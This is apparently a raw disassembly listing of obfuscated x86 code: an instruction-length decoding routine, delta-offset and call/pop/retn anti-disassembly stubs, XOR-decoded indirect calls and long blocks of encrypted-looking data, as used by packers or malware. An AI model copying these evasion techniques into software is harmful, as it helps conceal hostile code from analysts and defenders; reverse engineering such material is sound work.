		cmp	[ebp+var_3], 0
		mov	[ebp+var_5], 1
		jnz	loc_5BD94F
		mov	[ebp+var_4], 2
		mov	[ebp+var_3], 0FEh
		jmp	loc_5BD8D9
; ---------------------------------------------------------------------------


loc_5BD94F:				; CODE XREF: sub_5BD89D+9Fj
		and	[ebp+var_3], 0
		mov	[ebp+var_4], 4


loc_5BD957:				; CODE XREF: sub_5BD89D+87j
		cmp	al, 67h
		jnz	loc_5BD8D9
		cmp	[ebp+var_6], 0
		jnz	loc_5BD8D9
		xor	[ebp+var_2], 1
		mov	[ebp+var_6], 1
		jmp	loc_5BD8D9
; ---------------------------------------------------------------------------


loc_5BD976:				; CODE XREF: sub_5BD89D+7Fj
		mov	ebx, [ebp+arg_C]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_5BD9A2
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_5BD9A7
; ---------------------------------------------------------------------------


loc_5BD9A2:				; CODE XREF: sub_5BD89D+E4j
		movzx	edi, al
		shr	edi, 1


loc_5BD9A7:				; CODE XREF: sub_5BD89D+100j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 5D63B85h
		lea	ebp, [ebp+5D63843h]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp+var_7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp+var_6], bl
		jz	loc_5BDB29
		mov	ebx, [ebp+arg_4]
		mov	byte ptr [ebp+arg_0+3],	1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	byte ptr [ebp+arg_C+3],	dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	[ebp+var_5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_5BDA6D
		dec	ecx
		jz	loc_5BDA50
		dec	ecx
		jnz	loc_5BDAC0
		cmp	[ebp+var_2], 0
		jnz	loc_5BDABC
		cmp	[ebp+var_5], 0
		jz	loc_5BDA2F
		mov	byte ptr [ebp+arg_0+3],	2


loc_5BDA2F:				; CODE XREF: sub_5BD89D+188j
		add	byte ptr [ebp+arg_0+3],	4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 5D63C11h
		mov	[ebp+arg_5D6395B], 1
		pop	ebp
		jmp	loc_5BDAC0
; ---------------------------------------------------------------------------


loc_5BDA50:				; CODE XREF: sub_5BD89D+16Dj
		cmp	[ebp+var_2], 0
		jnz	loc_5BDA9A
		cmp	[ebp+var_5], 0
		jz	loc_5BDA9A
		mov	byte ptr [ebp+arg_0+3],	2
		jmp	loc_5BDA9A
; ---------------------------------------------------------------------------


loc_5BDA6D:				; CODE XREF: sub_5BD89D+166j
		cmp	[ebp+var_2], 0
		jnz	loc_5BDAB3
		cmp	[ebp+var_5], 0
		jz	loc_5BDAA2
		movzx	ecx, byte ptr [ebp+arg_C+3]
		mov	edx, [ebp+arg_4]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_5BDA9A
		mov	byte ptr [ebp+arg_0+3],	cl


loc_5BDA9A:				; CODE XREF: sub_5BD89D+1B7j
					; sub_5BD89D+1C1j ...
		inc	byte ptr [ebp+arg_0+3]
		jmp	loc_5BDAC0
; ---------------------------------------------------------------------------


loc_5BDAA2:				; CODE XREF: sub_5BD89D+1DEj
		cmp	dl, 5
		jnz	loc_5BDAC0
		mov	byte ptr [ebp+arg_0+3],	dl
		jmp	loc_5BDAC0
; ---------------------------------------------------------------------------


loc_5BDAB3:				; CODE XREF: sub_5BD89D+1D4j
		cmp	dl, 6
		jnz	loc_5BDAC0


loc_5BDABC:				; CODE XREF: sub_5BD89D+17Ej
		mov	byte ptr [ebp+arg_0+3],	3


loc_5BDAC0:				; CODE XREF: sub_5BD89D+174j
					; sub_5BD89D+1AEj ...
		dec	byte ptr [ebp+arg_0+3]
		jz	loc_5BDAEE
		movzx	ecx, byte ptr [ebp+arg_0+3]
		mov	[ebp+arg_0], ecx


loc_5BDAD0:				; CODE XREF: sub_5BD89D+249j
		movzx	esi, byte ptr [ebp+arg_C+3]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		inc	byte ptr [ebp+arg_C+3]
		dec	[ebp+arg_0]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_5BDAD0
		mov	esi, edx


loc_5BDAEE:				; CODE XREF: sub_5BD89D+226j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_5BDB23
		cmp	edi, 7Fh
		ja	loc_5BDB23
		test	bl, 38h
		jnz	loc_5BDB23
		cmp	[ebp+var_7], 0
		jz	loc_5BDB1D
		movzx	eax, [ebp+var_4]
		jmp	loc_5BDB20
; ---------------------------------------------------------------------------


loc_5BDB1D:				; CODE XREF: sub_5BD89D+271j
		push	1
		pop	eax


loc_5BDB20:				; CODE XREF: sub_5BD89D+27Bj
		mov	[ebp+var_1], al


loc_5BDB23:				; CODE XREF: sub_5BD89D+255j
					; sub_5BD89D+25Ej ...
		mov	dl, byte ptr [ebp+arg_C+3]
		mov	bl, [ebp+var_6]


loc_5BDB29:				; CODE XREF: sub_5BD89D+136j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_5BDB54
		dec	eax
		dec	eax
		jz	loc_5BDB4A
		and	bl, 7
		add	[ebp+var_1], bl
		jmp	loc_5BDB5C
; ---------------------------------------------------------------------------


loc_5BDB4A:				; CODE XREF: sub_5BD89D+29Cj
		mov	al, [ebp+var_3]
		add	al, 6
		jmp	loc_5BDB59
; ---------------------------------------------------------------------------


loc_5BDB54:				; CODE XREF: sub_5BD89D+294j
		mov	al, [ebp+var_3]
		add	al, 4


loc_5BDB59:				; CODE XREF: sub_5BD89D+2B2j
		add	[ebp+var_1], al


loc_5BDB5C:				; CODE XREF: sub_5BD89D+2A8j
		mov	al, [ebp+var_1]
		dec	[ebp+var_1]
		test	al, al
		jz	loc_5BDB84
		movzx	ecx, [ebp+var_1]
		inc	ecx


loc_5BDB6F:				; CODE XREF: sub_5BD89D+2E1j
		mov	edi, [ebp+arg_4]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_5BDB6F


loc_5BDB84:				; CODE XREF: sub_5BD89D+2C7j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
sub_5BD89D	endp

; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------
		shr	al, 1
		or	eax, 7F000000h
		retf
; ---------------------------------------------------------------------------
		dd 0E21451B5h, 4F2183D7h, 0F57875Fh, 182h, 8058FC00h, 0C0816FD3h
		dd 5F32h, 0BACE8B66h, 17A0h, 0FFF4CD80h, 5FE1B130h, 0D7E1C781h
		dd 0BE531896h, 33010A63h, 6F7815Eh, 0E911223Ah,	9, 23522044h
		dd 492DC609h, 0FFF781D1h, 60748E74h, 5761CE8Bh,	0BCC681h
		dd 8F77FCh, 0EE960h, 0C5D00000h, 647F5B2Eh, 0E3A4E8C1h
		dd 7F957C6h, 3E88361h, 0BFB35148h, 1EA835Bh, 16850Fh, 1CB30000h
		dd 27E9h, 4687E800h, 2CDC8D5Ch,	0C83AA411h, 562B9CCBh
		dd 0C11AD181h, 80E92C5Eh, 1EFFFFFFh, 0BA275FAFh, 0A4F41CA7h
		dd 0B42FC4FFh, 5E8h, 75664A00h,	0B86625A5h, 0F55AB0EFh
		dd 6B3EC281h, 0FBBE0000h, 0BF1FEF74h, 0
		dd 0E81734FFh, 0Dh, 58072864h, 0B2ACE6C5h, 66F06F71h, 36E181F3h
		dd 582A3AD7h, 0DE85Bh, 408D0000h, 0A2B796B1h, 0B711681h
		dd 81BBB699h, 4C4CA7CEh, 0F3815955h, 61CC076h, 81C18B66h
		dd 6914AF3h, 6810F71h, 81000000h, 49F81DC9h, 3CF38159h
		dd 605F0AEBh, 14E9h, 2DE06B00h,	0B75D83F3h, 0F81B4893h
		dd 62702DF7h, 0C649E80Ch, 1C89616Dh, 840FF83Ah,	14h, 0FE9h
		dd 7BD01F00h, 0C9E027C5h, 0E8E6B91Fh, 195C1253h, 0EF3BEF81h
		dd 9E84BA2h, 54000000h,	8CC5F8Eh, 0ADBF2B93h, 3EC98166h
		dd 0C781585Fh, 4BA2EF37h, 81F3BF0Fh, 0FF959CFFh, 41850FFFh
		dd 66FFFFFFh, 0EB0449B8h, 1052A104h, 560E94Fh, 2F4B0000h
		dd 4AB49F18h, 609FF631h, 7A87EEC9h, 94E9C4E7h, 18473EF9h
		dd 0A7001D66h, 801B304Ch, 0FC3F4EB5h, 0D7D06B91h, 0A8B518A9h
		dd 2F66D845h, 3F45BCF8h, 0AAB9402Ch, 240F304Dh,	312261DFh
		dd 0D66CAE85h, 0FED5D684h, 0E9EF6384h, 3C6E62BBh, 81FB660Eh
		dd 45481BEEh, 6CADDD58h, 0EAF2ADFFh, 0F67DF10Fh, 6DFFF788h
		dd 0ADDD7360h, 9046146Ch, 935234DCh, 94172852h,	0F02B42B9h
		dd 27CF5EA5h, 0C1ADBA3Ah, 76AF76F0h, 0EB9720Bh,	9C47DA23h
		dd 1CD06B91h, 0ADDD8191h, 621B16Ch, 0A48F6B93h,	0CAD358CBh
		dd 716E0029h, 724B514Eh, 0B2000000h, 1EA742BFh,	3455D0F0h
		dd 4725C9FFh, 0DCDB3E19h, 1DC6BE36h, 2C3F4517h,	841F215Dh
		dd 0A74FDC18h, 0F52A9FC5h, 0DCD983BCh, 6CAD99BDh, 9CA1DEDh
		dd 514EF575h, 172h, 3B45F600h, 41BD4C20h, 0F7288FA2h, 0AFF6A9EEh
		dd 233A4151h, 977ABFF5h, 31E7D2C3h, 8AA7D03Dh, 994C3ADAh
		dd 0AA0D1E58h, 53263943h, 0DB8BA0DCh, 45D62C01h, 0AF0033A9h
		dd 2D404545h, 819AE441h, 6A017DF0h, 0C85F9F7Ah,	0DC73791Ah
		dd 26379A2Dh, 0A16CAE85h, 0B2A3EEF3h, 556CAE84h, 9B4A5C07h
		dd 0BCCB2B06h, 22092AB0h, 86344D9h, 0A89559F2h,	0A5DCB44Dh
		dd 0D05C7834h, 434222h,	45415271h, 94C66CAEh, 890CDBEBh
		dd 13CC619Ah, 4E4C840Ah, 16BD4C51h, 6CAE4F05h, 552FD082h
		dd 0A7h, 0EC5E9994h, 0AE4EB4A1h, 5301536Ch, 1B64C993h
		dd 0C3FC6E06h, 2D404559h, 8099E441h, 49FD85F1h,	673275h
		dd 0EF15A18Bh, 9AE04E6Bh, 497FED81h, 0FE994C13h, 56099EBBh
		dd 0C453A38Eh, 0BA5B3A28h, 6B4E1BB9h, 0C6AEBF3Ah, 1E8B8807h
		dd 5E0C6CAEh, 0B40ADD6Dh, 0DA1BCABCh, 0C02B8CA1h, 63CEA6BBh
		dd 2A6B7B16h, 48A499Ch,	0CC514E73h, 6666CA96h, 24DF1019h
		dd 8728h, 0FD19CC00h, 0CD409302h, 81AC5703h, 200DE17Ch
		dd 0CDAC40D9h, 3837AA7Dh, 5BC6AEC3h, 0A45F0D1Ch, 18E984F9h
		dd 0C5597A49h, 0ACFE6CADh, 19CA22F3h, 855A7B56h, 2A506CAEh
		dd 0B8F5D11h, 81FFA659h, 0ED141BEEh, 7CA905Ch, 0AE848B88h
		dd 0A55E0C6Ch, 0D6230EBFh, 0E31ABBBh, 0AE849387h, 79F4836Ch
		dd 0E6846803h, 0A73AED3Dh, 501C2D48h, 0B4CFD02h, 0E096F71Ch
		dd 2EA1B211h, 74266CAEh, 60CCE24Bh, 1A9514Eh, 4D000000h
		dd 43233A45h, 3047B7BAh, 0AEF5AE3Ch, 5A2B3B54h,	9DD819CCh
		dd 0CD9C2B8Ch, 0AE84D5C6h, 7F20726Ch, 3907035Dh, 4DE63520h
		dd 0CCC39644h, 727F36B4h, 806D0153h, 0EFC6E17Ah, 0AFEAFA95h
		dd 727F36ACh, 0F469BC0Ah, 376D6E25h, 0B8EA727Fh, 0D5669C87h
		dd 0EE81FBD2h, 4EE11B06h, 6681F1A6h, 0E13A55AFh, 7D58F688h
		dd 11FF34Bh, 2C770000h,	246B7E74h, 727F9B0Ch, 0E15BA68Bh
		dd 7F9AB1A2h, 56045672h, 561ECC9Eh, 0DB7691EBh,	8C56B104h
		dd 48243343h, 0FD3EEC92h, 0ED36C96h, 99BAD523h,	730C76D3h
		dd 3BEADC73h, 0CCEF80FAh, 7D06CBE3h, 4EA84Bh, 2C4C0000h
		dd 59740579h, 6CAE858Ch, 46577A0Bh, 0C16CAE86h,	0E98596ECh
		dd 0D79F4D73h, 0AE85C9CAh, 1EC9596Ch, 4653D78Eh, 0BDC4601Ch
		dd 48B5E0Ch, 6CAE9767h,	40AFB2E0h, 0B97A2536h, 47DA230Eh
		dd 3D873DAFh, 0DDE93172h, 8A739649h, 3D000000h,	6B7E742Ch
		dd 7F98EC24h, 6E979A72h, 0A3851ACh, 6AB56F69h, 10A489Fh
		dd 0AE85547Ah, 5F053E4Fh, 34F788F2h, 0E488A3D9h, 802CB7D9h
		dd 0EA81FD72h, 4EE11FFAh, 6681F1A6h, 0BE69D1D0h, 4962FD07h
		dd 80514D0Bh, 566C110Dh, 8E4B678h, 0FECCD72Dh, 3AD5E62Ch
		dd 0A4816D13h, 0C623C358h, 28C8A4B9h, 0E831875Eh, 2967C71Eh
		dd 0F0FB73Dh, 0BCF19005h, 75042A47h, 2CAD3E5Eh,	108BD97Eh
		dd 31BD7D99h, 0B9CAC885h, 5A052B42h, 7E742CD2h,	0C438246Bh
		dd 8DDF7284h, 6DFE04E1h, 619634Ah, 0EA87FC73h, 722D3CBBh
		dd 0DA8C2F6Ah, 22E3BD4Ah, 0B0576838h, 944F09E5h, 0E812D312h
		dd 0DCF38257h, 0BD4AACBFh, 730A7558h, 7601924Dh, 7EF82FBh
		dd 89F3BA65h, 0E613FEF6h, 295C864Bh, 18314C73h,	0F7689654h
		dd 142956E7h, 23DC8258h, 27FE4839h, 20FB94EEh, 0D09CAFD5h
		dd 1889h, 106BC600h, 0E1EA89F1h, 0C9FF2F37h, 909C4725h
		dd 50ED0A19h, 4015CE9Ch, 2E3D45ECh, 8EA1DB46h, 69007BE6h
		dd 0CF5C9885h, 0ACC13A27h, 0D2065C0h, 0E67B8461h, 45D4230Eh
		dd 19324CA9h, 8953B255h, 4C381E3h, 83000000h, 1C8704EBh
		dd 2C895C24h, 11096824h, 3C890000h, 0E3895324h,	4C381h
		dd 0EB810000h, 4, 5C241C87h, 50240C89h,	69650EB8h, 3D4D0D48h
		dd 0F1357D69h, 0C162AA3Fh, 0D8F705E8h, 0D3543205h, 5133513h
		dd 0C7891703h, 8124048Bh, 4C4h,	0C8B5400h, 4C48324h, 8B850h
		dd 0C8010000h, 48B3889h, 4C48124h, 8B000000h, 8950240Ch
		dd 405E0h, 0C0830000h, 24048704h, 2434FF5Ch, 4C4815Fh
		dd 0E9000000h, 0FFFB37DBh, 92654B8Eh, 90A1689Dh, 0E411EC62h
		dd 0CAB8091Dh, 305D643h, 6BE0FFC5h, 0DB3534DAh,	8B47BF41h
		dd 0B80F6961h, 6C4DFB42h, 0B508CF0Dh, 4C4BB148h, 0CC7AB474h
		dd 0E72E0051h, 1772D3FAh, 78341699h, 0C1462C66h, 0B4633460h
		dd 50290268h, 37470D85h, 0DF04B91Eh, 0CD1055A1h, 0C639E9BBh
		dd 296A2A46h, 8D730DE2h, 0D6457E8Dh, 50006A05h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0DF7FBC4Bh
		dd 672E1905h, 8977F480h, 0D110218Dh, 85C7FC05h,	5D11C09h
		dd 64C0h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	7DC35141h, 0D3B70F2Bh, 67985C7h, 5D1h, 14E80000h
		dd 75000000h, 0DB105954h, 0EC2C1FEh, 153110CFh,	5D933AF1h
		dd 89F57707h, 0D112A18Dh, 0B5FF5E05h, 5D106D9h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 45C35545h, 0DD95FFF1h
		dd 6605D10Eh, 6AEB43BFh, 5995FF00h, 8B05D124h, 0CF0CEBC0h
		dd 6D21718Ch, 1FE24CC3h, 0EBF9D218h, 2F3BFA04h,	507E96Ah
		dd 0A3DF0000h, 0BE381394h, 0D4230AADh, 0EE0B6245h, 87D5853h
		dd 0A4CBB275h, 3BFC91EAh, 1497A4D0h, 70ABC239h,	6B4CDF25h
		dd 1C399455h, 0BB66D840h, 0A19C06Ch, 0F9A45FF0h, 1904E883h
		dd 76E49E4h, 0A78262FDh, 303FC25Dh, 2FBDB1CAh, 52D16874h
		dd 720D6B29h, 809BE14Ch, 112A54DFh, 0F089F05Dh,	55E811FCh
		dd 9F463099h, 52001D66h, 0FF78F796h, 27D88262h,	7B8140E7h
		dd 95ECC7E0h, 0B1C82384h, 0D69D498h, 4C1F767Eh,	850516BDh
		dd 0D0826CAEh, 0D5489F2Fh, 37DF5EA9h, 0AE157B98h, 104E1C6Ch
		dd 67186578h, 3897C53Ch
		dd 6CADBF1Bh, 0FF38EEBCh, 11DD6E94h, 0ADBE8494h, 322B46Ch
		dd 4ED0AEC0h, 5B8B51h, 45AF0000h, 215D2C3Fh, 0FD927C5Ch
		dd 7ED52BFDh, 0E1E65389h, 8D5708h, 6CADB511h, 0BD76B101h
		dd 514EDA21h, 106h, 3B451A00h, 0A7D25120h, 530CDE96h, 3952AC89h
		dd 0CEC59435h, 6CAE84CDh, 3C67184Ah, 54DBAEC3h,	856F1029h
		dd 853CEBDDh, 0CA659F7Bh, 1992401Ah, 74B7C832h,	0EF0A1918h
		dd 8545567Dh, 90C26CAEh, 0D260B4E2h, 0D28672B0h, 6C017A21h
		dd 0C05BA580h, 0EC3B8B2Ch, 7ABDD035h, 89DEE913h, 9C9A1707h
		dd 0FB660E3Ch, 111CED7Ch, 0CE9C50EBh, 0C0464F15h, 43E0EE25h
		dd 66A5514Eh, 0B9000000h, 412D4045h, 0EC8099E4h, 3EA34244h
		dd 11E89FC4h, 50DDCDB5h, 8C5E162Bh, 613348D3h, 55560417h
		dd 8468057Eh, 21CD6099h, 0F502E160h, 9C42DD27h,	910423E3h
		dd 18D46992h, 81B7C63Dh, 193A57ACh, 4E538E10h, 3C4B51h
		dd 19EF0000h, 855A7B56h, 0AFFD6CAEh, 3954A9F4h,	98B1C835h
		dd 0D215E5D4h, 5457EA13h, 203B4578h, 8551414Ch,	0F1416CAEh
		dd 0BD10A336h, 6CAE84A0h, 0E14A7527h, 514E0ACDh, 1AAh
		dd 3A454E00h, 0C76E13ABh, 48F711FBh, 5D74A2F4h,	0E589BFF0h
		dd 85690278h, 0AA6BBA0Ch, 0FBF9324Bh, 7D50219Dh, 727E9345h
		dd 71DC90C2h, 0A202F80Bh, 1A40C75Ah, 38A242DBh,	4CDB1B0Ah
		dd 93143AA0h, 452942B8h, 3E4DA984h, 8BB436h, 727F5811h
		dd 0A04CDB1Bh, 4D213C45h, 9B1DC85Ah, 7CF87706h,	33F234EFh
		dd 0A3B01FAEh, 24727F57h, 2F2C6376h, 0A8727F58h, 2852D9FAh
		dd 0C544309Fh, 1ECCA0BBh, 7C60B4E0h, 0FC066D4Eh, 5CA68363h
		dd 3A8C23C3h, 0BFD02AEBh, 0C07B137Ch, 3D784B7Dh, 0FC000001h
		dd 6B7E742Ch, 7F9B0C24h, 15D98B72h, 0EB82F974h,	0F7BE61FBh
		dd 0D239F28Dh, 72DF97A8h, 8F627708h, 3F25DE71h,	0C6FF2698h
		dd 53DEA3BCh, 815B0B26h, 0DAF4DDDEh, 0DF4B7CF4h, 75h, 5792C53h
		dd 0E883F974h, 0D09D3037h, 776CAE84h, 2A60FCADh, 2CD22D9Eh
		dd 51AAB940h, 0CAA303Ch, 42A337C1h, 68530C66h, 6CAD8D6Bh
		dd 56DD6CFBh, 0A2B3122Bh, 886CAD8Ch, 5715D972h,	8E8F0273h
		dd 96CAD8Ch, 120FB55Bh,	0E3370C75h, 0F92CFEA1h,	0F386FC51h
		dd 0AD8B0FDCh, 6E52886Ch, 0FA91ED00h, 810A775Ch, 9501D8D3h
		dd 7E000000h, 0D07B6004h, 0BB6403BCh, 7E742CF1h, 98EC246Bh
		dd 609A727Fh, 4FA35AE9h, 68601338h, 4C203B45h, 0D26D979Eh
		dd 0CA9A4812h, 0A17A156Fh, 0F299EC16h, 74BBFACBh, 819AE04Bh
		dd 90AEA0EDh, 7984727Fh, 0D8210CE0h, 0BF09A945h, 67D3D668h
		dd 0ACD65DC0h, 5609D393h, 9CE5B5CFh, 0A1D8D381h, 7A253242h
		dd 0F180FE5Ah, 0A1B8C32Eh, 0D69317FEh, 66347855h, 612CFF8Eh
		dd 7855D674h, 3A2A43BEh, 417220A0h, 0E78FA0DAh,	7DCD18EEh
		dd 0F7DAAF23h, 7E2C1C73h, 0F654614h, 6B7E742Ch,	1D3055D8h
		dd 0CA079B62h, 0D2807284h, 0B2CD3712h, 0F2E5B7AFh, 0F2960CC9h
		dd 7FA5BE37h, 0EE476373h, 0D3C4FF90h, 9DBE15A4h, 60728516h
		dd 573BC171h, 85D72B92h, 162953DAh, 6B32535Eh, 4B3DE27Eh
		dd 17DD399Ch, 7694AF8Ah, 0EC161DC6h, 77D5853h, 748E6574h
		dd 0D13C38DBh, 0E8D995A8h, 0F40EC71Eh, 0F75405Bh, 1769707Ch
		dd 66000000h, 22DD6C8Bh, 0EF0A197Ah, 8545567Dh,	90C26CAEh
		dd 0A75802E2h, 3D4552B2h, 0A1DB462Eh, 7BE68Eh, 5C988569h
		dd 0C13A27CFh, 2065C0ACh, 7B84610Dh, 0D4230EE6h, 324CA945h
		dd 53B25519h, 0C381E389h, 4, 8704EB83h,	248B241Ch, 0E1895124h
		dd 4C181h, 0E9810000h, 4, 5C240C87h
; ---------------------------------------------------------------------------
		mov	[esp], ebp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	edi
		mov	edi, 69B932EBh
		mov	ebp, edi
		pop	edi
		inc	ebp
		dec	ebp
		xor	ebp, 2A2165B5h
		dec	ebp
		xor	ebp, 464E12C7h
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		push	ebp
		xor	dword ptr [esp], 2EA8502Eh
		pop	ebx
		xor	ebx, 2EA8502Eh
		mov	[esi+8], ebx
		pop	ebx
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		dw 8300h
		dd 0D8EA00D8h, 0A96C6C81h, 6B8773FFh, 4A0BB878h, 0C50305D6h
		dd 715CE0FFh, 0EC30D2Dh, 4FED7A45h, 4EAE4106h, 0A1221019h
		dd 0DC837856h, 608230E4h, 1E617403h, 7DC10B42h,	9F431FD9h
		dd 311359B2h, 0F4664D6Ch, 0C76C2F7Ch, 36CB5CADh, 3A80737Fh
		dd 0CF7658E6h, 5E8545DBh, 43EB687Bh, 0E145E60h,	0B94C06AEh
		dd 9D1511h, 42B22918h, 37380AE6h, 9A7B270Ah, 67AD2316h
		dd 8D8D2AF1h, 5D64BB3h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 5DC35747h, 1A4A9CDCh,	10E9442Ah, 0E3000000h
		dd 70A39D2Fh, 62D9B458h, 0E5CA335Bh, 890922ECh,	0D110218Dh
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 49A384ECh, 1DA23BBFh, 1BE19D03h,	85C705D1h
		dd 5D11C09h, 5820h, 27D98529h, 85C705D1h, 5D10679h, 0
; ---------------------------------------------------------------------------
		mov	ax, 5B74h
		push	dword ptr [ebp+5D11F91h]
		mov	ah, 0D6h
		call	dword ptr [ebp+5D10EDDh]
		add	[ebp+5D10295h],	edi
		push	0
		call	dword ptr [ebp+5D12459h]
		mov	eax, eax
		jmp	short loc_5BEA19
; ---------------------------------------------------------------------------
		dd 1AF76F4Eh, 0C53246D5h, 2708D48h, 48F4D072h, 27FBDCA2h
		dd 30095506h, 0A6F66527h, 75608CB0h, 18BA9E7Fh,	8C91A267h
		dd 5CB2B913h, 0B80E75B9h, 31DA9599h, 0F3B093BFh
		db 0B4h
; ---------------------------------------------------------------------------


loc_5BEA19:				; CODE XREF: ud2_____:005BE9DEj
		lea	ecx, [ebp+5D64D1Bh]
		push	0
		push	edx
		call	sub_5BEA2A
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BEA2A	proc near		; CODE XREF: ud2_____:005BEA22p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5BEA2A	endp

; ---------------------------------------------------------------------------
		push	esp
		push	esi
		xor	eax, 8F23D82Ch
		inc	esi
		xchg	eax, esp
		jmp	loc_5BEA4E
; ---------------------------------------------------------------------------
		dd 0CD916568h
		db 58h,	0EBh
; ---------------------------------------------------------------------------


loc_5BEA4E:				; CODE XREF: ud2_____:005BEA43j
		mov	[ebp+5D11021h],	ecx
		push	0
		push	ebp
		call	sub_5BEA5F
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BEA5F	proc near		; CODE XREF: ud2_____:005BEA57p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5BEA5F	endp

; ---------------------------------------------------------------------------
		db 89h
; ---------------------------------------------------------------------------
		cmp	edi, ebp
		mov	ebx, edx
		mov	dword ptr [ebp+5D11C09h], 5F60h
		push	0
		push	edi
		call	sub_5BEA89
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BEA89	proc near		; CODE XREF: ud2_____:005BEA81p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_5BEA89	endp

; ---------------------------------------------------------------------------
		db 4Eh,	47h, 77h
; ---------------------------------------------------------------------------
		mov	ch, 65h
		pop	esp
		ficom	dword ptr [edx-39h]
		test	[ecx+6], edi
		rol	large dword ptr	ds:0, 1
		push	0
		push	edi
		call	sub_5BEAB6
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BEAB6	proc near		; CODE XREF: ud2_____:005BEAAEp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_5BEAB6	endp

; ---------------------------------------------------------------------------
		clc
		dec	eax
		mov	byte ptr [eax-41h], 5Dh
		xchg	eax, ebp
		retn	817Fh
; ---------------------------------------------------------------------------
		dd 0F3BBB1D7h, 0B5FF6139h, 5D120D9h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 0EDC35545h,	6A558153h, 11E8h
		dd 0FF548300h, 0C715D734h, 63380AB2h, 0DC6C1144h, 8D89711Dh
		dd 5D12FE1h, 0DD95FF5Bh, 0E805D10Eh, 12h, 78A66ECEh, 0ABDE39E6h
		dd 0ED44EFEEh, 2F3DC619h, 3BA1857h, 5E2EA62Bh, 95FF006Ah
		dd 5D12459h, 2EEBC08Bh,	1F9DF327h, 0BE34C82Dh, 475B968Dh
		dd 9E56DFFAh, 2F527473h, 926EA2B2h, 82E20198h, 0E8BF804Ah
		dd 0E2F90882h, 0D1D2E04Ah, 8A8E19A5h, 24EB9B5Bh, 9 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5BEC5E
; ---------------------------------------------------------------------------
		mov	[ebp+5D64D50h],	esi
		mov	eax, [ebp+5D120E9h]
		mov	eax, [ebp+5D10845h]
		lea	esi, [ebp+5D64D9Ah]
		lea	eax, [ebp+5D436FFh]
		call	eax
		retn
; ---------------------------------------------------------------------------
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 5D64DA0h
		cmp	dword ptr [ebp+5D120E9h], 1
		jnz	loc_5BEC08
		push	dword ptr [ebp+5D64D50h]
		mov	eax, [ebp+5D10845h]
		xor	eax, 34812736h
		call	eax
		cmp	al, 1
		jnz	loc_5BEC01
		mov	eax, 1
		jmp	loc_5BEC48
; ---------------------------------------------------------------------------


loc_5BEC01:				; CODE XREF: ud2_____:005BEBF1j
		xor	eax, eax
		jmp	loc_5BEC48
; ---------------------------------------------------------------------------


loc_5BEC08:				; CODE XREF: ud2_____:005BEBD6j
		push	1Ch
		lea	esi, [ebp+5D64D54h]
		push	esi
		push	dword ptr [ebp+5D64D50h]
		mov	eax, [ebp+5D10845h]
		xor	eax, 34812736h
		call	eax
		add	esp, 0Ch
		lea	esi, [ebp+5D64D54h]
		mov	eax, [esi+14h]
		and	eax, 4
		cmp	eax, 4
		jz	loc_5BEC43
		xor	eax, eax
		jmp	loc_5BEC48
; ---------------------------------------------------------------------------


loc_5BEC43:				; CODE XREF: ud2_____:005BEC36j
		mov	eax, 1


loc_5BEC48:				; CODE XREF: ud2_____:005BEBFCj
					; ud2_____:005BEC03j ...
		cmp	dword ptr [ebp+5D120E9h], 1
		jnz	loc_5BEC5C
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		jmp	loc_5BEC5E
; ---------------------------------------------------------------------------


